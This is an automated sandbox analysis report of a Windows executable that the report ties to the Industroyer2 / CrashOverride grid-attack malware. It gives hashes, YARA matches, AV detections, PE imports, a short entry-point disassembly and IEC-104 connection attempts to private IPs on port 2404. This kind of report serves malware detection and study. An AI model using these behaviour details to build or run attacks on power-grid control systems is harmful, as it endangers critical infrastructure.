Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
40_115.exe

Overview

General Information

Sample Name:40_115.exe
Analysis ID:609861
MD5:7c05da2e4612fca213430b6c93e76b06
SHA1:fdeb96bc3d4ab32ef826e7e53f4fe1c72e580379
SHA256:d69665f56ddef7ad4e71971f06432e59f1510a7194386e5f0e8926aea7b88e00
Tags:exerelatedtoIndustroyerrelatedtoIndustroyer2sandstorm
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Creates a DirectInput object (often for capturing keystrokes)
Uses 32bit PE files
Found decision node followed by non-executed suspicious APIs
Yara signature match
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Program does not show much activity (idle)

Classification

  • System is w10x64
  • 40_115.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\40_115.exe" MD5: 7C05DA2E4612FCA213430B6C93E76B06)
    • conhost.exe (PID: 7120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
40_115.exedragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0x82f4:$s2: MSTR ->> SLV
  • 0x8340:$s2: MSTR ->> SLV
  • 0x8558:$s2: MSTR ->> SLV
  • 0x8364:$s3: MSTR <<- SLV
  • 0x8380:$s3: MSTR <<- SLV
  • 0x8390:$s3: MSTR <<- SLV
  • 0x83a0:$s3: MSTR <<- SLV
  • 0x83c4:$s3: MSTR <<- SLV
  • 0x83e8:$s3: MSTR <<- SLV
  • 0x840c:$s3: MSTR <<- SLV
  • 0x8568:$s3: MSTR <<- SLV
  • 0x85a8:$s4: Unknown APDU format !!!
SourceRuleDescriptionAuthorStrings
00000000.00000000.234960631.0000000000A49000.00000002.00000001.01000000.00000003.sdmpdragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0xcf4:$s2: MSTR ->> SLV
  • 0xd40:$s2: MSTR ->> SLV
  • 0xf58:$s2: MSTR ->> SLV
  • 0xd64:$s3: MSTR <<- SLV
  • 0xd80:$s3: MSTR <<- SLV
  • 0xd90:$s3: MSTR <<- SLV
  • 0xda0:$s3: MSTR <<- SLV
  • 0xdc4:$s3: MSTR <<- SLV
  • 0xde8:$s3: MSTR <<- SLV
  • 0xe0c:$s3: MSTR <<- SLV
  • 0xf68:$s3: MSTR <<- SLV
  • 0xfa8:$s4: Unknown APDU format !!!
00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpdragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0xcf4:$s2: MSTR ->> SLV
  • 0xd40:$s2: MSTR ->> SLV
  • 0xf58:$s2: MSTR ->> SLV
  • 0xd64:$s3: MSTR <<- SLV
  • 0xd80:$s3: MSTR <<- SLV
  • 0xd90:$s3: MSTR <<- SLV
  • 0xda0:$s3: MSTR <<- SLV
  • 0xdc4:$s3: MSTR <<- SLV
  • 0xde8:$s3: MSTR <<- SLV
  • 0xe0c:$s3: MSTR <<- SLV
  • 0xf68:$s3: MSTR <<- SLV
  • 0xfa8:$s4: Unknown APDU format !!!
Process Memory Space: 40_115.exe PID: 7112dragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0x39e0:$s2: MSTR ->> SLV
  • 0x3f71:$s2: MSTR ->> SLV
  • 0x41fc:$s2: MSTR ->> SLV
  • 0x6147:$s2: MSTR ->> SLV
  • 0x66d8:$s2: MSTR ->> SLV
  • 0x6963:$s2: MSTR ->> SLV
  • 0x39f0:$s3: MSTR <<- SLV
  • 0x3f90:$s3: MSTR <<- SLV
  • 0x3fa8:$s3: MSTR <<- SLV
  • 0x3fb7:$s3: MSTR <<- SLV
  • 0x3fc6:$s3: MSTR <<- SLV
  • 0x3fd7:$s3: MSTR <<- SLV
  • 0x420b:$s3: MSTR <<- SLV
  • 0x6157:$s3: MSTR <<- SLV
  • 0x66f7:$s3: MSTR <<- SLV
  • 0x670f:$s3: MSTR <<- SLV
  • 0x671e:$s3: MSTR <<- SLV
  • 0x672d:$s3: MSTR <<- SLV
  • 0x673e:$s3: MSTR <<- SLV
  • 0x6972:$s3: MSTR <<- SLV
  • 0x4093:$s4: Unknown APDU format !!!
SourceRuleDescriptionAuthorStrings
0.2.40_115.exe.a40000.0.unpackdragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0x82f4:$s2: MSTR ->> SLV
  • 0x8340:$s2: MSTR ->> SLV
  • 0x8558:$s2: MSTR ->> SLV
  • 0x8364:$s3: MSTR <<- SLV
  • 0x8380:$s3: MSTR <<- SLV
  • 0x8390:$s3: MSTR <<- SLV
  • 0x83a0:$s3: MSTR <<- SLV
  • 0x83c4:$s3: MSTR <<- SLV
  • 0x83e8:$s3: MSTR <<- SLV
  • 0x840c:$s3: MSTR <<- SLV
  • 0x8568:$s3: MSTR <<- SLV
  • 0x85a8:$s4: Unknown APDU format !!!
0.0.40_115.exe.a40000.0.unpackdragos_crashoverride_moduleStringsIEC-104 Interaction Module Program StringsDragos Inc
  • 0x82f4:$s2: MSTR ->> SLV
  • 0x8340:$s2: MSTR ->> SLV
  • 0x8558:$s2: MSTR ->> SLV
  • 0x8364:$s3: MSTR <<- SLV
  • 0x8380:$s3: MSTR <<- SLV
  • 0x8390:$s3: MSTR <<- SLV
  • 0x83a0:$s3: MSTR <<- SLV
  • 0x83c4:$s3: MSTR <<- SLV
  • 0x83e8:$s3: MSTR <<- SLV
  • 0x840c:$s3: MSTR <<- SLV
  • 0x8568:$s3: MSTR <<- SLV
  • 0x85a8:$s4: Unknown APDU format !!!

There are no malicious signatures, click here to show all signatures.

Source: Process startedAuthor: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Users\user\Desktop\40_115.exe" , ParentImage: C:\Users\user\Desktop\40_115.exe, ParentProcessId: 7112, ParentProcessName: 40_115.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 7120, ProcessName: conhost.exe
No Snort rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 40_115.exeVirustotal: Detection: 25%Perma Link
Source: 40_115.exeMetadefender: Detection: 14%Perma Link
Source: 40_115.exeReversingLabs: Detection: 46%
Source: 40_115.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: 40_115.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: C:\Users\user\Desktop\40_115.exeCode function: 0_2_00A45B30 recv,WSAGetLastError,WSAGetLastError,WSAGetLastError,0_2_00A45B30
Source: 40_115.exe, 00000000.00000002.273477826.0000000000E2A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

barindex
Source: 40_115.exe, type: SAMPLEMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: 0.2.40_115.exe.a40000.0.unpack, type: UNPACKEDPEMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: 0.0.40_115.exe.a40000.0.unpack, type: UNPACKEDPEMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: 00000000.00000000.234960631.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: Process Memory Space: 40_115.exe PID: 7112, type: MEMORYSTRMatched rule: IEC-104 Interaction Module Program Strings Author: Dragos Inc
Source: 40_115.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: 40_115.exe, type: SAMPLEMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: 0.2.40_115.exe.a40000.0.unpack, type: UNPACKEDPEMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: 0.0.40_115.exe.a40000.0.unpack, type: UNPACKEDPEMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: 00000000.00000000.234960631.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: Process Memory Space: 40_115.exe PID: 7112, type: MEMORYSTRMatched rule: dragos_crashoverride_moduleStrings author = Dragos Inc, description = IEC-104 Interaction Module Program Strings, reference = https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
Source: C:\Users\user\Desktop\40_115.exeCode function: String function: 00A436C0 appears 50 times
Source: C:\Users\user\Desktop\40_115.exeCode function: String function: 00A43830 appears 42 times
Source: 40_115.exeVirustotal: Detection: 25%
Source: 40_115.exeMetadefender: Detection: 14%
Source: 40_115.exeReversingLabs: Detection: 46%
Source: 40_115.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\40_115.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\40_115.exeCode function: 0_2_00A47920 CreateToolhelp32Snapshot,Process32First,CloseHandle,Process32Next,FindCloseChangeNotification,0_2_00A47920
Source: C:\Users\user\Desktop\40_115.exeEvasive API call chain: GetCommandLine,DecisionNodes,ExitProcessgraph_0-3866
Source: unknownProcess created: C:\Users\user\Desktop\40_115.exe "C:\Users\user\Desktop\40_115.exe"
Source: C:\Users\user\Desktop\40_115.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_01
Source: classification engineClassification label: mal56.winEXE@2/1@0/3
Source: 40_115.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: 40_115.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: C:\Users\user\Desktop\40_115.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_0-4433
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\40_115.exeProcess information queried: ProcessInformationJump to behavior
Source: 40_115.exe, 00000000.00000002.273497890.0000000000E64000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: C:\Users\user\Desktop\40_115.exeCode function: 0_2_00A42420 GetProcessHeap,RtlAllocateHeap,0_2_00A42420
Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\40_115.exeCode function: 0_2_00A43970 GetSystemTime,0_2_00A43970
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts2
Command and Scripting Interpreter
Path Interception1
Process Injection
1
Process Injection
1
Input Capture
1
System Time Discovery
Remote Services1
Input Capture
Exfiltration Over Other Network Medium1
Ingress Tool Transfer
Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Native API
Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Deobfuscate/Decode Files or Information
LSASS Memory11
Security Software Discovery
Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
Obfuscated Files or Information
Security Account Manager2
Process Discovery
SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDS2
System Information Discovery
Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
40_115.exe26%VirustotalBrowse
40_115.exe14%MetadefenderBrowse
40_115.exe46%ReversingLabsWin32.Trojan.CrashOverride
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPDomainCountryFlagASNASN NameMalicious
IP
10.82.40.105
192.168.121.2
192.168.122.2
Joe Sandbox Version:34.0.0 Boulder Opal
Analysis ID:609861
Start date and time: 15/04/202212:45:092022-04-15 12:45:09 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 10s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:40_115.exe
Cookbook file name:default.jbs
Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:17
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • HCA enabled
  • EGA enabled
  • HDC enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal56.winEXE@2/1@0/3
EGA Information:
  • Successful, ratio: 100%
HDC Information:
  • Successful, ratio: 98.9% (good quality ratio 94.4%)
  • Quality average: 87%
  • Quality standard deviation: 23.9%
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 26
  • Number of non-executed functions: 10
Cookbook Comments:
  • Found application associated with file extension: .exe
  • Adjust boot time
  • Enable AMSI
  • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
  • Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
  • Not all processes where analyzed, report is missing behavior information
No simulations
No context
No context
No context
No context
No context
Process:C:\Users\user\Desktop\40_115.exe
File Type:ASCII text
Category:dropped
Size (bytes):517
Entropy (8bit):3.934493837561938
Encrypted:false
SSDEEP:12:UNQdIUQqVffhmoHQdA0uAm4A+OQdC7oSg724WuE2dQapFdQo72sv:U8ffhWvmR+G7od71tEyQ4jQo73
MD5:307BB8A6DE0F826D1B6C5DC8A2069A6A
SHA1:F257CED8AE3BF1851F99E5537B79168C0889B710
SHA-256:35DE9D340E57A2CBF08B2DAC1FB932EEFEC33A1BB4158E459F99ECF187B45E8F
SHA-512:9FDC9CF1D94CEC89D670C317DEF316CBA6EFEF4D17A41EAE6BC8B9C5B55B10D27926CD94B92021F65834C333A095F5A4BC848CE860368C195B86C15E3942A387
Malicious:false
Reputation:low
Preview:19:46:06:0106> T281 00006800.19:46:06:0247> RNM 0015 .19:46:06:0294> 10.82.40.105: 2404: 3 .19:46:06:0294> T65 00006800.19:46:06:0341> 10.82.40.105 M68B0 SGCNT 44 .19:46:06:0497> RNM 0015 .19:46:06:0544> T113 00006800.19:46:06:0544> 192.168.122.2: 2404: 2 .19:46:06:0544> 192.168.122.2 M68B0 SGCNT 8 .19:46:06:0591> RNM 0015 .19:46:06:0653> 192.168.121.2: 2404: 1 .19:46:06:0700> 192.168.121.2 M68B0 SGCNT 16 .19:46:21:0747> 192.168.122.2 M6812 .19:46:21:0747> 10.82.40.105 M6812 .19:46:21:0794> 192.168.121.2 M6812 .
File type:PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):5.891358753235737
TrID:
  • Win32 Executable (generic) a (10002005/4) 99.96%
  • Generic Win/DOS Executable (2004/3) 0.02%
  • DOS Executable Generic (2002/1) 0.02%
  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:40_115.exe
File size:37888
MD5:7c05da2e4612fca213430b6c93e76b06
SHA1:fdeb96bc3d4ab32ef826e7e53f4fe1c72e580379
SHA256:d69665f56ddef7ad4e71971f06432e59f1510a7194386e5f0e8926aea7b88e00
SHA512:053d1a0b5ebab8b4afc26af20d533947bbc1c6de24c3ab0735f9bffcda3e05a2aef18b3f136102bbd2b5637b5f02b27906e0a092067e29d7943cdfb449fe8f27
SSDEEP:768:9kQ2SkG1EqihRWlG4ya6kcqCHfv3uWvzPMinhgaXj7:9jo9kc3einhgaXv
TLSH:A303F804994182BAE897E5FAC9FB005BA2169A85133866C332D81F59BF75DC07D31BCF
File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............g.^.g.^.g.^&.._.g.^&.._.g.^..q^.g.^.g.^.g.^..._.g.^..._.g.^Rich.g.^................PE..L...a.:b.................r.........
Icon Hash:00828e8e8686b000
Entrypoint:0x404ff0
Entrypoint Section:.text
Digitally signed:false
Imagebase:0x400000
Subsystem:windows cui
Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:0x623AF161 [Wed Mar 23 10:07:29 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:5
OS Version Minor:1
File Version Major:5
File Version Minor:1
Subsystem Version Major:5
Subsystem Version Minor:1
Import Hash:2cf6ff919d8af9170b36d01b351744f3
Instruction
push ebp
mov ebp, esp
sub esp, 48h
mov dword ptr [ebp-04h], 00000000h
mov dword ptr [ebp-08h], 00000000h
mov dword ptr [ebp-30h], 00000000h
lea eax, dword ptr [ebp-08h]
push eax
call dword ptr [00409074h]
push eax
call dword ptr [004090ACh]
mov dword ptr [ebp-04h], eax
cmp dword ptr [ebp-04h], 00000000h
je 00007FF4C04C80FAh
cmp dword ptr [ebp-08h], 00000000h
je 00007FF4C04C80BCh
push 00409C80h
mov ecx, dword ptr [ebp-08h]
mov edx, dword ptr [ebp-04h]
lea eax, dword ptr [edx+ecx*4]
push eax
mov ecx, dword ptr [ebp-04h]
push ecx
call 00007FF4C04C6B5Ah
mov dword ptr [ebp-10h], eax
cmp dword ptr [ebp-10h], 00000000h
je 00007FF4C04C7FBDh
mov edx, dword ptr [ebp-10h]
push edx
lea ecx, dword ptr [ebp-48h]
call 00007FF4C04C5B55h
mov ecx, eax
call 00007FF4C04C5F7Eh
lea ecx, dword ptr [ebp-48h]
call 00007FF4C04C5EF6h
push 00409C88h
mov eax, dword ptr [ebp-08h]
mov ecx, dword ptr [ebp-04h]
lea edx, dword ptr [ecx+eax*4]
push edx
mov eax, dword ptr [ebp-04h]
push eax
call 00007FF4C04C6A7Eh
movzx ecx, al
test ecx, ecx
je 00007FF4C04C7FE6h
push 00409C90h
mov edx, dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
lea ecx, dword ptr [eax+edx*4]
push ecx
mov edx, dword ptr [ebp-04h]
push edx
call 00007FF4C04C6AFFh
mov dword ptr [ebp-14h], eax
cmp dword ptr [ebp-14h], 00000000h
je 00007FF4C04C7FB0h
call 00007FF4C04C65B1h
mov eax, dword ptr [ebp-14h]
Programming Language:
  • [IMP] VS2008 SP1 build 30729
NameVirtual AddressVirtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IMPORT0xa2340x78.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
IMAGE_DIRECTORY_ENTRY_BASERELOC0xc0000x334.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG0xa0a00x1c.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
IMAGE_DIRECTORY_ENTRY_TLS0x00x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IAT0x90000x100.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
.text0x10000x70ad0x7200False0.435512609649data5.90126984257IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata0x90000x16fc0x1800False0.305826822917data4.19944141058IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data0xb0000x650x200False0.111328125data0.757808466987IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc0xc0000x3340x400False0.744140625data5.55161256585IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
DLLImport
KERNEL32.dllHeapFree, HeapSize, HeapReAlloc, HeapAlloc, GetProcessHeap, SetWaitableTimer, EnterCriticalSection, CreateWaitableTimerW, WaitForMultipleObjects, LeaveCriticalSection, InitializeCriticalSection, GetExitCodeThread, TerminateThread, CloseHandle, CreateThread, DeleteCriticalSection, CompareFileTime, WaitForMultipleObjectsEx, OpenEventW, FileTimeToSystemTime, SystemTimeToFileTime, GetSystemTime, MultiByteToWideChar, WideCharToMultiByte, GetStdHandle, WriteFile, InterlockedCompareExchange, CreateFileW, Sleep, GetCommandLineW, LocalFree, ExitProcess, MoveFileA, Process32First, TerminateProcess, OpenProcess, CreateToolhelp32Snapshot, GetLastError, Process32Next
WS2_32.dllWSAStartup, select, send, __WSAFDIsSet, WSACleanup, inet_addr, socket, connect, recv, htons, ioctlsocket, setsockopt, WSAGetLastError, closesocket
SHELL32.dllCommandLineToArgvW
OLEAUT32.dllVarDateFromStr, VariantTimeToSystemTime
SHLWAPI.dllwvnsprintfA, StrToIntA, wnsprintfW
TimestampSource PortDest PortSource IPDest IP
Apr 15, 2022 12:46:07.662655115 CEST497192404192.168.2.310.82.40.105
Apr 15, 2022 12:46:07.701092958 CEST497202404192.168.2.3192.168.122.2
Apr 15, 2022 12:46:07.818216085 CEST497212404192.168.2.3192.168.121.2
Apr 15, 2022 12:46:10.676040888 CEST497192404192.168.2.310.82.40.105
Apr 15, 2022 12:46:10.707295895 CEST497202404192.168.2.3192.168.122.2
Apr 15, 2022 12:46:10.832375050 CEST497212404192.168.2.3192.168.121.2
Apr 15, 2022 12:46:16.692266941 CEST497192404192.168.2.310.82.40.105
Apr 15, 2022 12:46:16.707885027 CEST497202404192.168.2.3192.168.122.2
Apr 15, 2022 12:46:16.832829952 CEST497212404192.168.2.3192.168.121.2

Click to jump to process

Click to jump to process

Click to dive into process behavior distribution

Click to jump to process

Target ID:0
Start time:12:46:05
Start date:15/04/2022
Path:C:\Users\user\Desktop\40_115.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\40_115.exe"
Imagebase:0xa40000
File size:37888 bytes
MD5 hash:7C05DA2E4612FCA213430B6C93E76B06
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Yara matches:
  • Rule: dragos_crashoverride_moduleStrings, Description: IEC-104 Interaction Module Program Strings, Source: 00000000.00000000.234960631.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, Author: Dragos Inc
  • Rule: dragos_crashoverride_moduleStrings, Description: IEC-104 Interaction Module Program Strings, Source: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmp, Author: Dragos Inc
Reputation:low

Target ID:1
Start time:12:46:05
Start date:15/04/2022
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff7c9170000
File size:625664 bytes
MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high

Reset < >

    Execution Graph

    Execution Coverage:14%
    Dynamic/Decrypted Code Coverage:0%
    Signature Coverage:3.1%
    Total number of Nodes:809
    Total number of Limit Nodes:19
    execution_graph 4593 a424a0 4594 a424c0 4593->4594 4595 a424aa 4593->4595 4599 a42450 4594->4599 4596 a424f0 _MallocaArrayHolder 4 API calls 4595->4596 4598 a424b5 4596->4598 4600 a4245d 4599->4600 4601 a42459 4599->4601 4602 a42463 GetProcessHeap HeapAlloc 4600->4602 4603 a4247a GetProcessHeap HeapReAlloc 4600->4603 4601->4598 4602->4601 4603->4601 4604 a41020 4605 a4102f 4604->4605 4606 a41042 4605->4606 4607 a42630 _MallocaArrayHolder 4 API calls 4605->4607 4607->4606 4608 a41a60 4609 a41adb 4608->4609 4610 a41e10 6 API calls 4609->4610 4611 a41b2d 4610->4611 4774 a473c0 4791 a473e1 4774->4791 4775 a476ce WSACleanup 4776 a476f2 4775->4776 4777 a476e2 4775->4777 4778 a436c0 3 API calls 4777->4778 4782 a476ec 4778->4782 4779 a47720 29 API calls 4779->4791 4781 a45650 29 API calls 4781->4791 4784 a43830 14 API calls 4782->4784 4783 a47426 WSACleanup 4783->4791 4784->4776 4785 a45f10 33 API calls 4785->4791 4786 a4749d Sleep 4786->4791 4787 a476ae Sleep 4788 a46220 33 API calls 4787->4788 4788->4791 4789 a457d0 24 API calls 4789->4791 4790 a46860 2 API calls 4790->4791 4791->4775 4791->4779 4791->4781 4791->4785 4791->4786 4791->4787 4791->4789 4791->4790 4792 a436c0 3 API calls 4791->4792 4793 a43830 14 API calls 4791->4793 4794 a453d0 closesocket 4791->4794 4792->4791 4793->4791 4794->4783 4795 a43800 4796 a424f0 _MallocaArrayHolder 4 API calls 4795->4796 4797 a43812 DeleteCriticalSection 4796->4797 4798 a42640 4799 a42420 2 API calls 4798->4799 4800 a4264c 4799->4800 4801 a44142 4803 a44148 4801->4803 4802 a444a7 4803->4802 4804 a443ae 4803->4804 4805 a44396 StrToIntA 4803->4805 4806 a44401 4804->4806 4807 a443e9 StrToIntA 4804->4807 4805->4804 4808 a44454 4806->4808 4809 a4443c StrToIntA 4806->4809 4807->4806 4808->4802 4810 a4448f StrToIntA 4808->4810 4809->4808 4810->4802 4811 a46b8d 4834 a46b15 4811->4834 4812 a46140 33 API calls 4812->4834 4813 a45f10 33 API calls 4813->4834 4814 a46bfd Sleep 4814->4834 4815 a46310 33 API calls 4815->4834 4816 a46480 33 API calls 4816->4834 4817 a473ae WSACleanup 4818 a45650 29 API calls 4818->4834 4819 a46220 33 API calls 4819->4834 4820 a46b74 4820->4817 4821 a47370 Sleep 4821->4834 4822 a46e8c Sleep 4822->4834 4823 a465e0 33 API calls 4823->4834 4824 a46860 2 API calls 4824->4834 4825 a471b4 Sleep 4825->4834 4826 a43830 14 API calls 4826->4834 4827 a439c0 15 API calls 4827->4834 4828 a457d0 24 API calls 4828->4834 4829 a43830 14 API calls 4831 a4729a Sleep 4829->4831 4830 a43830 14 API calls 4832 a47245 Sleep 4830->4832 4831->4834 4832->4834 4833 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4833->4834 4834->4812 4834->4813 4834->4814 4834->4815 4834->4816 4834->4817 4834->4818 4834->4819 4834->4820 4834->4821 4834->4822 4834->4823 4834->4824 4834->4825 4834->4826 4834->4827 4834->4828 4834->4829 4834->4830 4834->4833 4612 a44bef 4622 a446a0 4612->4622 4613 a43cb0 4 API calls 4613->4622 4614 a436c0 InterlockedCompareExchange Sleep InitializeCriticalSection 4614->4622 4615 a43a00 15 API calls 4615->4622 4616 a47720 29 API calls 4616->4622 4617 a44fd3 LocalFree 4618 a44fdd 4617->4618 4619 a432a0 9 API calls 4619->4622 4620 a42ac0 74 API calls 4620->4622 4621 a42420 GetProcessHeap RtlAllocateHeap 4621->4622 